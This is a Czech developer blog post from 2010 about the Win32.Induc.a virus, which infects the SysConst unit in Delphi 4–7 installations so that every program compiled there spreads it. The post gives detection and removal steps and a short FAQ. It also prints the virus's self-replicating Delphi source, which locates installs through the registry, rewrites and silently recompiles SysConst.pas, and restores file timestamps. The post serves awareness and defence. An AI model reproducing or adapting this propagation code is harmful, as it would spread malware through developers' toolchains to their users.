O viru napadajícím instalaci Delphi

vložil Radek Červinka 20. dubna 2010 23:09

Existuje virus napadající starší instalace Delphi. Původně jsem se na to chtěl vykašlat, ale radši jen pro úplnost na to upozorním.

Na úvod: z Ruska pochází vir Virus.Win32.Induc.a, který jde na věc trošku jinak než je obvyklé.

Pokud se na počítač dostane infikovaný soubor, vir se pokusí nalézt instalaci některé starší verze Delphi (4, 5, 6 nebo 7) a pokud uspěje injektuje do SysConst.pas svůj kód a tento upravený soubor přeloží - vznikne v adresáři \Lib nový SysConst.dcu, přičemž původní je uložen pod SysConst.bak. Podle toho se dá taky napadená instalace nalézt.

Samozřejmě každý vývojový nástroj se dá takto zneužít, ale já budu mluvit o konkrétním problému - Win32.Induc.a.

Vir neprovádí žádnou destruktivní činnost. Jediný problémem je, že jakýkoliv kompilovaný program z napadené instalace obsahuje stejný vir - napadající instalaci Delphi. Náprava by měla být jednoduchá - smazat SysConst.dcu a přejmenovat SysConst.bak na SysConst.dcu, nebo reinstalace.

Napadený nekompilovaný SysConst obsahuje toto (začátek, resp. kompilovaný obsahuje jen řetězce):

uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var 
i:integer;
begin 
for i:=1 to length(s) do 
if s[i]=#36 then s[i]:=#39;
result:=s;
end;

…

Koukněte na plný zdrojový kód pro pochopení. Tento kód je injektován do SysConst.pas a je při každém spuštění kompilovaného programu prováděn.

I když se jedná o nepříjemnou záležitost, tak bych to moc nerozmazával - jedná se spíše o ukázku možností, ale přesto trochu FAQ.

Je jen Delphi možno takto napadnout?

Ne, prakticky každý vývojový systém lze nějak podobně napadnout, např. aplikace pro .NET to už mají za sebou, určitě i třeba VC++ nebo Java (někde jsem to zahlédl).

Je zavirované samotné Delphi?

NE: může být napadena část běhové knihovny (RTL) v instalaci. Opětovná instalace nebo antivirus pomůže (nebo postup uvedený výše).

Další informace např. Marco Cantu


Nabízíme Delphi školení na různá témata, primárně ve Vaší firmě.

Tagy:

Praxe

Komentování ukončeno

Naše nabídka

Partial English version.

MVP
Ing. Radek Červinka - Embarcadero MVP
profil na linkedin, Twitter:@delphicz

Nabízím placené poradenství a konzultace v oblasti programování a vývoje SW.
Dále nabízíme i vývoj speciálního software na zakázku.

Neváhejte nás kontaktovat (i ohledně reklamy nebo burzy práce).

Pokud chcete podpořit tento server libovolnou částkou, můžete použít PayPal. Moc děkuji.

Delphi Certified Developer

O Delphi.cz

Delphi je jediný moderní RAD nástroj podporující tvorbu nativních aplikací pro platformu Win32, Win64 , Mac OSX a na iPhone a Android (s výhledem na další platformy díky FireMonkey) na současném trhu (včetně Windows 8.1).

V současnosti je světová komunita přes dva miliónů vývojářů.

Delphi.cz je nezávislý portál pro uživatele Delphi. Portál není koncipován pro úplné začátečníky, i když i ti se zde nebudou nudit, ale spíše na programátory, kteří již něco znají a chtějí své znalosti dále rozvíjet a sledovat novinky.

Anketa

Poslední komentáře

Comment RSS